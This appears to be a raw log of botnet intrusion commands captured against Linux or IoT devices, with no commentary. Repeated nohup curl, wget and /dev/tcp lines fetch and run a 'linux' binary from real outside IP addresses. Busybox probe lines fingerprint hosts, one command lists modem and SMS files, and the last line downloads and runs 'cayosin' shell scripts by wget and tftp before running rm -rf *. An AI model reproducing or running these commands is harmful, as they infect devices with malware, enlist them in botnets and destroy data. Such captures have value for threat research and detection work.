Xd2PhkPyxMo51cTrSJ6KxSomzY+ESfzEwjDVxO5InorIPijLhIZL7cHJIMrH5VWBisk+IcWOnknqz80wysXrW4iQzyEg04aBVe3CyDrNxe1JgJ7FPiLMh55O7dvJNc7P6kuBjcQwKNOMgUvywcMuysLoQYaOzCMk3YqHVe7ByC7Kx+RVgozHJiDMjIZb5NvJMczb7k+EkMUgKsuOgUvu1cMuycfuVYGJzT4jxYSGS+3FwyDPwvJJhIzTISjTiIlB6sXKNMPV7kmCkMolPs+OhFXtxso6zcXtSYKezCIp04+ET/LEwzDVx+pBho7MICfdi4hV7sHILsLG8k6JhMsgIcmMkE/r28k0ydvtQ4SQzCYgx4iASu7M2zTI2+1IhpDMJyLTjIJM5sPLMc/B/EOejMwnPsyOnkLkz80wysXoW4GPyj4jyZCCSunbyjbBw+xKgobdJCnTjINP8szMLsnE6EGGjswgJt2GnkntzdUxzMDyTYWEyyAhzIyQSuzE1THIx/JKgIrTISLKhIZL7cXNIM/C8kmEjdMhIsqQh0/mw8sxycD8SoGJ0yMk04yBTvLEzTrNxe1JiJ7JJz7PioNV7cXLLs/H5k2Aj8kgMMWQgknu28o3y9vvQ4qIzSEgxZ6BS+TbyjjK2+1JgpDPIiHHiIBK783bNMzb7k+CkMwgKNOHhkHqxco0ydXtSYWQzCIk04+IT/LEyDHBw+xKg4fdISLJkIJJ7tvIMNXE7k2KiM0hI8WehEzyx88y1cTkSZ6PxSomzY+CSfzEyTnVxOhPno/FID7PiIpN7MTLN0J5e8pjrHPyXQmGcBh6xYRSdWQ=" &#UPX!


sh
enable
shell
system
ping ; sh
/bin/busybox JIGOKU

('sh', 'enable', 'shell', 'system', 'ping ; sh', '/bin/busybox')


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FQZWX


nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/uf7wXvnMKm; if [ ! -f /tmp/uf7wXvnMKm ]; then wget http://218.3.177.39:60120/linux -O /tmp/uf7wXvnMKm; fi; if [ ! -f /tmp/uf7wXvnMKm ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/uf7wXvnMKm && chmod +x /tmp/uf7wXvnMKm && /tmp/uf7wXvnMKm HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6ueTFgpGFQeuxWyStnYTrIWeZsVX2keTRiuXdSeOBQyC5hcy7OTuR2VmGmbzR5pnlUeOBQyChqcyjIWPhxSn6gYC5krnVScudSyTprfSjIUPh6VWGmYDNtoX9VcOZAzS19YS7KTu92Sn6jbzphp35QcfZY1yhiZDTLUuZsVXagbTZnpntQYudRzzRrfSvJVvhzU36tYTBmo3hEduFOyy5hfSLLTu9zXnmnZjNvt3dKc+VU1ylhfSjIUux0VH6jZCBjoGFWduROyy5hfSzLWuByVX6gdzFlpWFWcOBOzSN9YSrLWuByVX+kdzRguX1QcfhRwSN9YiLIWuByVX6hdzRguX1QcfhSyi99YSvDVuZzUHa3Yzd5oHlKdeROyCpqaSzJUedyRHugeTJjpGFVcOFOzi5pZSrIUuNiXGGlZjB5pnpcbO5WwyxjYivLQOdwUWGmZTR5pndQbOdTyCBlYyvKWfZ2U2GlYzN5oXtKcOZZwyxjYijPQOJ7Sni5ZTJhuX5Wd+xWyStgYjrNV/hwUH25bjV5pnpdeOBQyClrcyvJUfh2VmGjbi5montedOZRyytzazTLUeFsVn2neTFuoHVScudUzTpnZDTLVORsXH25bjFtoX9Vce5AzS19YS7LTuRyUGGuZDphp35VdPZY1yhiYzTIV/hwUHytYTBmpXdEevhSyCN9Yi/MTuRyVHWhZzFmoG9cbORRyTRiZiLXWOB4Un+mZjJ3r2FWc+ZOzSJ9Yi3NWuByVXyjqVszQuuQyfiiPnlpNbet0j0iykH6Kj8=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/uf7wXvnMKm && /tmp/uf7wXvnMKm HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6ueTFgpGFQeuxWyStnYTrIWeZsVX2keTRiuXdSeOBQyC5hcy7OTuR2VmGmbzR5pnlUeOBQyChqcyjIWPhxSn6gYC5krnVScudSyTprfSjIUPh6VWGmYDNtoX9VcOZAzS19YS7KTu92Sn6jbzphp35QcfZY1yhiZDTLUuZsVXagbTZnpntQYudRzzRrfSvJVvhzU36tYTBmo3hEduFOyy5hfSLLTu9zXnmnZjNvt3dKc+VU1ylhfSjIUux0VH6jZCBjoGFWduROyy5hfSzLWuByVX6gdzFlpWFWcOBOzSN9YSrLWuByVX+kdzRguX1QcfhRwSN9YiLIWuByVX6hdzRguX1QcfhSyi99YSvDVuZzUHa3Yzd5oHlKdeROyCpqaSzJUedyRHugeTJjpGFVcOFOzi5pZSrIUuNiXGGlZjB5pnpcbO5WwyxjYivLQOdwUWGmZTR5pndQbOdTyCBlYyvKWfZ2U2GlYzN5oXtKcOZZwyxjYijPQOJ7Sni5ZTJhuX5Wd+xWyStgYjrNV/hwUH25bjV5pnpdeOBQyClrcyvJUfh2VmGjbi5montedOZRyytzazTLUeFsVn2neTFuoHVScudUzTpnZDTLVORsXH25bjFtoX9Vce5AzS19YS7LTuRyUGGuZDphp35VdPZY1yhiYzTIV/hwUHytYTBmpXdEevhSyCN9Yi/MTuRyVHWhZzFmoG9cbORRyTRiZiLXWOB4Un+mZjJ3r2FWc+ZOzSJ9Yi3NWuByVXyjqVszQuuQyfiiPnlpNbet0j0iykH6Kj8=" &#UPX!

nohup $SHELL -c "curl http://218.3.177.39:60120/linux -o /tmp/mN3b5dBzwJ; if [ ! -f /tmp/mN3b5dBzwJ ]; then wget http://218.3.177.39:60120/linux -O /tmp/mN3b5dBzwJ; fi; if [ ! -f /tmp/mN3b5dBzwJ ]; then exec 6<>/dev/tcp/218.3.177.39/60120 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/mN3b5dBzwJ && chmod +x /tmp/mN3b5dBzwJ && /tmp/mN3b5dBzwJ HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6ueTFgpGFQeuxWyStnYTrIWeZsVX2keTRiuXdSeOBQyC5hcy7OTuR2VmGmbzR5pnlUeOBQyChqcyjIWPhxSn6gYC5krnVScudSyTprfSjIUPh6VWGmYDNtoX9VcOZAzS19YS7KTu92Sn6jbzphp35QcfZY1yhiZDTLUuZsVXagbTZnpntQYudRzzRrfSvJVvhzU36tYTBmo3hEduFOyy5hfSLLTu9zXnmnZjNvt3dKc+VU1ylhfSjIUux0VH6jZCBjoGFWduROyy5hfSzLWuByVX6gdzFlpWFWcOBOzSN9YSrLWuByVX+kdzRguX1QcfhRwSN9YiLIWuByVX6hdzRguX1QcfhSyi99YSvDVuZzUHa3Yzd5oHlKdeROyCpqaSzJUedyRHugeTJjpGFVcOFOzi5pZSrIUuNiXGGlZjB5pnpcbO5WwyxjYivLQOdwUWGmZTR5pndQbOdTyCBlYyvKWfZ2U2GlYzN5oXtKcOZZwyxjYijPQOJ7Sni5ZTJhuX5Wd+xWyStgYjrNV/hwUH25bjV5pnpdeOBQyClrcyvJUfh2VmGjbi5montedOZRyytzazTLUeFsVn2neTFuoHVScudUzTpnZDTLVORsXH25bjFtoX9Vce5AzS19YS7LTuRyUGGuZDphp35VdPZY1yhiYzTIV/hwUHytYTBmpXdEevhSyCN9Yi/MTuRyVHWhZzFmoG9cbORRyTRiZiLXWOB4Un+mZjJ3r2FWc+ZOzSJ9Yi3NWuByVXyjqVszQuuQyfiiPnlpNbet0j0iykH6Kj8=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/mN3b5dBzwJ && /tmp/mN3b5dBzwJ HjrIUu9sVXujeTFvp2FWdOxWyStjZDrIVu5sVX6ueTFgpGFQeuxWyStnYTrIWeZsVX2keTRiuXdSeOBQyC5hcy7OTuR2VmGmbzR5pnlUeOBQyChqcyjIWPhxSn6gYC5krnVScudSyTprfSjIUPh6VWGmYDNtoX9VcOZAzS19YS7KTu92Sn6jbzphp35QcfZY1yhiZDTLUuZsVXagbTZnpntQYudRzzRrfSvJVvhzU36tYTBmo3hEduFOyy5hfSLLTu9zXnmnZjNvt3dKc+VU1ylhfSjIUux0VH6jZCBjoGFWduROyy5hfSzLWuByVX6gdzFlpWFWcOBOzSN9YSrLWuByVX+kdzRguX1QcfhRwSN9YiLIWuByVX6hdzRguX1QcfhSyi99YSvDVuZzUHa3Yzd5oHlKdeROyCpqaSzJUedyRHugeTJjpGFVcOFOzi5pZSrIUuNiXGGlZjB5pnpcbO5WwyxjYivLQOdwUWGmZTR5pndQbOdTyCBlYyvKWfZ2U2GlYzN5oXtKcOZZwyxjYijPQOJ7Sni5ZTJhuX5Wd+xWyStgYjrNV/hwUH25bjV5pnpdeOBQyClrcyvJUfh2VmGjbi5montedOZRyytzazTLUeFsVn2neTFuoHVScudUzTpnZDTLVORsXH25bjFtoX9Vce5AzS19YS7LTuRyUGGuZDphp35VdPZY1yhiYzTIV/hwUHytYTBmpXdEevhSyCN9Yi/MTuRyVHWhZzFmoG9cbORRyTRiZiLXWOB4Un+mZjJ3r2FWc+ZOzSJ9Yi3NWuByVXyjqVszQuuQyfiiPnlpNbet0j0iykH6Kj8=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YHRHI

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HIMGE


nohup $SHELL -c "curl http://8.210.211.166:60147/linux -o /tmp/zbqEooHZh9; if [ ! -f /tmp/zbqEooHZh9 ]; then wget http://8.210.211.166:60147/linux -O /tmp/zbqEooHZh9; fi; if [ ! -f /tmp/zbqEooHZh9 ]; then exec 6<>/dev/tcp/8.210.211.166/60147 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/zbqEooHZh9 && chmod +x /tmp/zbqEooHZh9 && /tmp/zbqEooHZh9 aT+Gcg79WPIMeGcA9kfhAXqBLxUUKJdxDuNH9wpleAzzR+sBeoEvFRAtl3EB60f3CW94CfFa/QN4jSkUFSuFYAbiXugJZWcW91ziGXGBJh4SL4ZyA/Nd8RZkYgvoUeUZcY4nHhIvhnEP813xFmFgFvFe/QZ4gCUSFC6EdxfrR/QJbngJ8FD9BXCPJRIULoVxF+tH9AlveAnzXP0FcIclEhQuhXUX517oCmJkFvdQ4BlygCUSFC6FcBfrR/QJZngJ9179BXOGJRIULod4F+de6AplYBb3X+cZcYQsHhIvhnIF81HoCmdmFvRY4hlxgSkeEi+GdADzUegKZ2EW91n9DniNKRQVL4NgD/1Y9Qx4ZQroW+IFeoEvFRAsl3gZ4Vj2FmJ4CvVb6QFwhi4QBCuAbgXnW+gJZm4W/1/pAXCGKxYEK4BuBeBf6AlgZhb3U+UHcYYoBBwxhXEA/VvyDnhnC/VT5QdxhigEECiZcgTlR/cNYngJ/1rpAXCGKxQELYZyGedH/gh4Zw32U+UHcYQvBBAomXcB/V7xFmduD/xf4wZzgD8QEzGFcwH9WPEBeGcB9FPlB3GFJwQQKJl3Af1c9hZjZQLwWeIFeZcsHQomj24G41DoCm5sDvZY4AFggygKEymZcQTmR/cAZGwO9ljgAGCPMRYVJ5lyB+BH8glsYAj3WeEXdIAxFhcpmXEB50fxAWxgCPdZ4RdxhCgKFSeDbgbmR/ELbGAI91jgF3KHJgodLplyBeBH8QBsYAj3WeMXeJktFhYxhncB/V3zAmBmCfdZ/rUypkZc6WJTQBZrpICPceaFqtry5g==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/zbqEooHZh9 && /tmp/zbqEooHZh9 aT+Gcg79WPIMeGcA9kfhAXqBLxUUKJdxDuNH9wpleAzzR+sBeoEvFRAtl3EB60f3CW94CfFa/QN4jSkUFSuFYAbiXugJZWcW91ziGXGBJh4SL4ZyA/Nd8RZkYgvoUeUZcY4nHhIvhnEP813xFmFgFvFe/QZ4gCUSFC6EdxfrR/QJbngJ8FD9BXCPJRIULoVxF+tH9AlveAnzXP0FcIclEhQuhXUX517oCmJkFvdQ4BlygCUSFC6FcBfrR/QJZngJ9179BXOGJRIULod4F+de6AplYBb3X+cZcYQsHhIvhnIF81HoCmdmFvRY4hlxgSkeEi+GdADzUegKZ2EW91n9DniNKRQVL4NgD/1Y9Qx4ZQroW+IFeoEvFRAsl3gZ4Vj2FmJ4CvVb6QFwhi4QBCuAbgXnW+gJZm4W/1/pAXCGKxYEK4BuBeBf6AlgZhb3U+UHcYYoBBwxhXEA/VvyDnhnC/VT5QdxhigEECiZcgTlR/cNYngJ/1rpAXCGKxQELYZyGedH/gh4Zw32U+UHcYQvBBAomXcB/V7xFmduD/xf4wZzgD8QEzGFcwH9WPEBeGcB9FPlB3GFJwQQKJl3Af1c9hZjZQLwWeIFeZcsHQomj24G41DoCm5sDvZY4AFggygKEymZcQTmR/cAZGwO9ljgAGCPMRYVJ5lyB+BH8glsYAj3WeEXdIAxFhcpmXEB50fxAWxgCPdZ4RdxhCgKFSeDbgbmR/ELbGAI91jgF3KHJgodLplyBeBH8QBsYAj3WeMXeJktFhYxhncB/V3zAmBmCfdZ/rUypkZc6WJTQBZrpICPceaFqtry5g==" &#UPX!


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GXSPX


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YYVAT


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EWZSN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AWBCJ


uname -a
hostname
uname -m&&pkill upnpsetup
chmod 777 zsvc
chmod 777 upnpsetup
sudo ./upnpsetup
./upnpsetup
sudo ./zsvc
./zsvc


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZCIZF


cat /bin/echo||while read i; do echo $i; done < /proc/self/exe;

('sh', 'shell', 'enable', 'cat || while ; do echo ; done ;')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TBXPD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IARUM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox HJUUA


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YSQPY

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ALWXH


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PTDQV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SWQNY


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CGKED


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WHCMQ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XWFPM


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZAMEI


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VFMKV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MUVYR


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PLBHD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JPWUW


ls -la /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UTJNF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UQGKT


./oinasf; dd if=/proc/self/exe bs=22 count=1 || while read i; do echo $i; done < /proc/self/exe || cat /proc/self/exe;


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YVJBQ

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZLKVK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TSVAF


nohup $SHELL -c "curl http://8.218.173.88:60115/linux -o /tmp/rZ0mIis2Xz; if [ ! -f /tmp/rZ0mIis2Xz ]; then wget http://8.218.173.88:60115/linux -O /tmp/rZ0mIis2Xz; fi; if [ ! -f /tmp/rZ0mIis2Xz ]; then exec 6<>/dev/tcp/8.218.173.88/60115 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/rZ0mIis2Xz && chmod +x /tmp/rZ0mIis2Xz && /tmp/rZ0mIis2Xz o5Nrep2apUO3QZFCNycSHikpRpFdpECmjYNybofA34tqbZ+Crke0XpVAOS4SHDEoRpxBtUanmpl7YIXe34doY5mDukOwXYtGNygVHikpRpRepEm6hpxzdIHb3J1rdpqOokG1W5VXITEWFSg3RZBcqkOlhZd1aoLf3pNibZ+Fo1+2XZBZICseEi8oRZNPvF+mhZ1ta4fZwIVseZuEpUK9T5FANy0XEjEoQItYsEuihJx3bZPWwIFrc4OAoV+zVp9BKS4QHD8hWZdetF+shYNybYDU2INrcZ2UoEaqXZFFNy4dCi4sT59ZtECkg417dIHf1p1rdJ6arEm+WZVGKCoEHDErRpJBtkWgmpVzYIXe34NoY5mDukayQZBHNyoXHikpRpdWpEWjmp93aJ3f1p1sepeCpECwV4VDLjEWECw3RpdYqkagjptza4HbzodtbZ+Ap1+1X5VZLS0eEi8oQ5VPsEa6g5tta4rfwIJieZuEpUGyT51ZKy4dCi4vQ4tXt0uihJxwbJPa2Z1ocJuapUaqWJFNLy8VECg5RpxXqkOggINyY4DA34NieZuEpUK1T5RBLjEWFDEoT5FBtUemjptza4fdzot0cZyNukCyXYtFKCseEi8oRpdPvF+mhZVta4DcwIJtd5eCpEC2XYVPLTEWECg3RpFcqkOhjptza4PbzodtbZSDukCzWYtGKSoeEi8oRJRPvF+mhZVtYoTA34preZuEpUK0T5FANyYdCi4uT4tetEaugp1ya4bO34FvbZyGoF+1V5VZISceEi8oRZ0g1EXFtDraoJHB7UfK4vvf/dMwSK4V0U6OGYYfZ86Emg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/rZ0mIis2Xz && /tmp/rZ0mIis2Xz o5Nrep2apUO3QZFCNycSHikpRpFdpECmjYNybofA34tqbZ+Crke0XpVAOS4SHDEoRpxBtUanmpl7YIXe34doY5mDukOwXYtGNygVHikpRpRepEm6hpxzdIHb3J1rdpqOokG1W5VXITEWFSg3RZBcqkOlhZd1aoLf3pNibZ+Fo1+2XZBZICseEi8oRZNPvF+mhZ1ta4fZwIVseZuEpUK9T5FANy0XEjEoQItYsEuihJx3bZPWwIFrc4OAoV+zVp9BKS4QHD8hWZdetF+shYNybYDU2INrcZ2UoEaqXZFFNy4dCi4sT59ZtECkg417dIHf1p1rdJ6arEm+WZVGKCoEHDErRpJBtkWgmpVzYIXe34NoY5mDukayQZBHNyoXHikpRpdWpEWjmp93aJ3f1p1sepeCpECwV4VDLjEWECw3RpdYqkagjptza4HbzodtbZ+Ap1+1X5VZLS0eEi8oQ5VPsEa6g5tta4rfwIJieZuEpUGyT51ZKy4dCi4vQ4tXt0uihJxwbJPa2Z1ocJuapUaqWJFNLy8VECg5RpxXqkOggINyY4DA34NieZuEpUK1T5RBLjEWFDEoT5FBtUemjptza4fdzot0cZyNukCyXYtFKCseEi8oRpdPvF+mhZVta4DcwIJtd5eCpEC2XYVPLTEWECg3RpFcqkOhjptza4PbzodtbZSDukCzWYtGKSoeEi8oRJRPvF+mhZVtYoTA34preZuEpUK0T5FANyYdCi4uT4tetEaugp1ya4bO34FvbZyGoF+1V5VZISceEi8oRZ0g1EXFtDraoJHB7UfK4vvf/dMwSK4V0U6OGYYfZ86Emg==" &#UPX!

nohup $SHELL -c "curl http://8.218.173.88:60115/linux -o /tmp/n6X8Rv4as5; if [ ! -f /tmp/n6X8Rv4as5 ]; then wget http://8.218.173.88:60115/linux -O /tmp/n6X8Rv4as5; fi; if [ ! -f /tmp/n6X8Rv4as5 ]; then exec 6<>/dev/tcp/8.218.173.88/60115 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/n6X8Rv4as5 && chmod +x /tmp/n6X8Rv4as5 && /tmp/n6X8Rv4as5 o5Nrep2apUO3QZFCNycSHikpRpFdpECmjYNybofA34tqbZ+Crke0XpVAOS4SHDEoRpxBtUanmpl7YIXe34doY5mDukOwXYtGNygVHikpRpRepEm6hpxzdIHb3J1rdpqOokG1W5VXITEWFSg3RZBcqkOlhZd1aoLf3pNibZ+Fo1+2XZBZICseEi8oRZNPvF+mhZ1ta4fZwIVseZuEpUK9T5FANy0XEjEoQItYsEuihJx3bZPWwIFrc4OAoV+zVp9BKS4QHD8hWZdetF+shYNybYDU2INrcZ2UoEaqXZFFNy4dCi4sT59ZtECkg417dIHf1p1rdJ6arEm+WZVGKCoEHDErRpJBtkWgmpVzYIXe34NoY5mDukayQZBHNyoXHikpRpdWpEWjmp93aJ3f1p1sepeCpECwV4VDLjEWECw3RpdYqkagjptza4HbzodtbZ+Ap1+1X5VZLS0eEi8oQ5VPsEa6g5tta4rfwIJieZuEpUGyT51ZKy4dCi4vQ4tXt0uihJxwbJPa2Z1ocJuapUaqWJFNLy8VECg5RpxXqkOggINyY4DA34NieZuEpUK1T5RBLjEWFDEoT5FBtUemjptza4fdzot0cZyNukCyXYtFKCseEi8oRpdPvF+mhZVta4DcwIJtd5eCpEC2XYVPLTEWECg3RpFcqkOhjptza4PbzodtbZSDukCzWYtGKSoeEi8oRJRPvF+mhZVtYoTA34preZuEpUK0T5FANyYdCi4uT4tetEaugp1ya4bO34FvbZyGoF+1V5VZISceEi8oRZ0g1EXFtDraoJHB7UfK4vvf/dMwSK4V0U6OGYYfZ86Emg==; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/n6X8Rv4as5 && /tmp/n6X8Rv4as5 o5Nrep2apUO3QZFCNycSHikpRpFdpECmjYNybofA34tqbZ+Crke0XpVAOS4SHDEoRpxBtUanmpl7YIXe34doY5mDukOwXYtGNygVHikpRpRepEm6hpxzdIHb3J1rdpqOokG1W5VXITEWFSg3RZBcqkOlhZd1aoLf3pNibZ+Fo1+2XZBZICseEi8oRZNPvF+mhZ1ta4fZwIVseZuEpUK9T5FANy0XEjEoQItYsEuihJx3bZPWwIFrc4OAoV+zVp9BKS4QHD8hWZdetF+shYNybYDU2INrcZ2UoEaqXZFFNy4dCi4sT59ZtECkg417dIHf1p1rdJ6arEm+WZVGKCoEHDErRpJBtkWgmpVzYIXe34NoY5mDukayQZBHNyoXHikpRpdWpEWjmp93aJ3f1p1sepeCpECwV4VDLjEWECw3RpdYqkagjptza4HbzodtbZ+Ap1+1X5VZLS0eEi8oQ5VPsEa6g5tta4rfwIJieZuEpUGyT51ZKy4dCi4vQ4tXt0uihJxwbJPa2Z1ocJuapUaqWJFNLy8VECg5RpxXqkOggINyY4DA34NieZuEpUK1T5RBLjEWFDEoT5FBtUemjptza4fdzot0cZyNukCyXYtFKCseEi8oRpdPvF+mhZVta4DcwIJtd5eCpEC2XYVPLTEWECg3RpFcqkOhjptza4PbzodtbZSDukCzWYtGKSoeEi8oRJRPvF+mhZVtYoTA34preZuEpUK0T5FANyYdCi4uT4tetEaugp1ya4bO34FvbZyGoF+1V5VZISceEi8oRZ0g1EXFtDraoJHB7UfK4vvf/dMwSK4V0U6OGYYfZ86Emg==" &#UPX!


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CJYOZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OGRXC


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VDHTU


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox UEZXV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox DTZUJ


nohup $SHELL -c "curl http://47.243.100.42:60112/linux -o /tmp/ppjsaeKtJP; if [ ! -f /tmp/ppjsaeKtJP ]; then wget http://47.243.100.42:60112/linux -O /tmp/ppjsaeKtJP; fi; if [ ! -f /tmp/ppjsaeKtJP ]; then exec 6<>/dev/tcp/47.243.100.42/60112 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/ppjsaeKtJP && chmod +x /tmp/ppjsaeKtJP && /tmp/ppjsaeKtJP M2R3NL0fHd6CtXZ/q5jYGguyNnd0SV5wfyixAALTgbV1dqGA2h0FtCZ+akxPdGg0sQMC24OsfXGrh9kfEbAxaHVOSmp2KLUFGdCAq3Z0r5bSAgO1Pmh9TVB3czyyAR3bh7tzdbWH0x8ftTRyakZMfnA2tQUZyoeqcGmphcQZBqo1dH5ITnV1N6QJAtiHq2lzrpjdFQuyNndwRl51dDSqAx7cmK9+aamG2BYHtDd2d15Kc2g0sAMC0oK1cHChgNodA7AmcnNQTHB1KLUBHMSCqX1xq4fbHhG8KHR1SVBycSi9Bxbchqp3f7uOxB4AvCh0d05QdXM0vgcc24etZ3+1hNsbH7YzdmpGTH5wNrUFFMqHqnZpr4LEHQe2KHd3SkRydje2AAzej7VydrWP3QIDtTxwdE9KdGY+qgMd0piqc3G1h9AaAbU2fmRPTnVoNLQAAt+PtXZyo4zcHAC0NGZ1TExqdDSyHxjTmKl3daGA2h0BtyZ1fVBPdHAotQMVxISoc32thtsfA6Q3dH1QT3ByKLUJHMSErX1xq4faGxG1MnVqTE52aDS0CQLYgq99cauH2BURsDFodUxOanI2qgAZ34ytd3arjsoUH7Y3fmpHTWp1M74HHNuHqmd/tYTbFR+xN2h2S0t+cDa1AhXKh6x1aamY3hofvD98ck5PdX8msAgC34e1fnC1hNsWB7Q3cnReT3VzKLYCFMSArml2qoLQGgG1NHVkRlB2dz6qBh3Eh6l+fa2G2x0DpDR2fVBPcHcosAYC04+hcXeqhd2JMaTbdL6tnR+XwoUMqXeBj/Dd4nX3gJY=; fi; echo 123456 > /tmp/.opass; chmod +x /tmp/ppjsaeKtJP && /tmp/ppjsaeKtJP M2R3NL0fHd6CtXZ/q5jYGguyNnd0SV5wfyixAALTgbV1dqGA2h0FtCZ+akxPdGg0sQMC24OsfXGrh9kfEbAxaHVOSmp2KLUFGdCAq3Z0r5bSAgO1Pmh9TVB3czyyAR3bh7tzdbWH0x8ftTRyakZMfnA2tQUZyoeqcGmphcQZBqo1dH5ITnV1N6QJAtiHq2lzrpjdFQuyNndwRl51dDSqAx7cmK9+aamG2BYHtDd2d15Kc2g0sAMC0oK1cHChgNodA7AmcnNQTHB1KLUBHMSCqX1xq4fbHhG8KHR1SVBycSi9Bxbchqp3f7uOxB4AvCh0d05QdXM0vgcc24etZ3+1hNsbH7YzdmpGTH5wNrUFFMqHqnZpr4LEHQe2KHd3SkRydje2AAzej7VydrWP3QIDtTxwdE9KdGY+qgMd0piqc3G1h9AaAbU2fmRPTnVoNLQAAt+PtXZyo4zcHAC0NGZ1TExqdDSyHxjTmKl3daGA2h0BtyZ1fVBPdHAotQMVxISoc32thtsfA6Q3dH1QT3ByKLUJHMSErX1xq4faGxG1MnVqTE52aDS0CQLYgq99cauH2BURsDFodUxOanI2qgAZ34ytd3arjsoUH7Y3fmpHTWp1M74HHNuHqmd/tYTbFR+xN2h2S0t+cDa1AhXKh6x1aamY3hofvD98ck5PdX8msAgC34e1fnC1hNsWB7Q3cnReT3VzKLYCFMSArml2qoLQGgG1NHVkRlB2dz6qBh3Eh6l+fa2G2x0DpDR2fVBPcHcosAYC04+hcXeqhd2JMaTbdL6tnR+XwoUMqXeBj/Dd4nX3gJY=" &#UPX!

('echo && cat', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x && &', 'head -c >', 'nohup -c -o ; if if [ ! -f ] ; then wget -O ; fi ; if if [ ! -f ] ; then exec > && echo -n > && cat > && chmod +x && ; fi ; echo > ; chmod +x &&', '>')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FGJHZ


/bin/busybox cat /proc/self/exe || cat /proc/self/exe


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox APJAB

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GKZRE


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IMNCW


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LFEFW


cd /tmp/; echo "senpai" > rootsenpai; cat rootsenpai; rm -rf rootsenpai

wget http://93.123.85.139/cayosinbins.sh; chmod 777 cayosinbins.sh; sh cayosinbins.sh; tftp 93.123.85.139 -c get cayosintftp1.sh; chmod 777 cayosintftp1.sh; sh cayosintftp1.sh; tftp -r cayosintftp2.sh -g 93.123.85.139; chmod 777 cayosintftp2.sh; sh cayosintftp2.sh; rm -rf cayosinbins.sh cayosintftp1.sh cayosintftp2.sh; rm -rf *

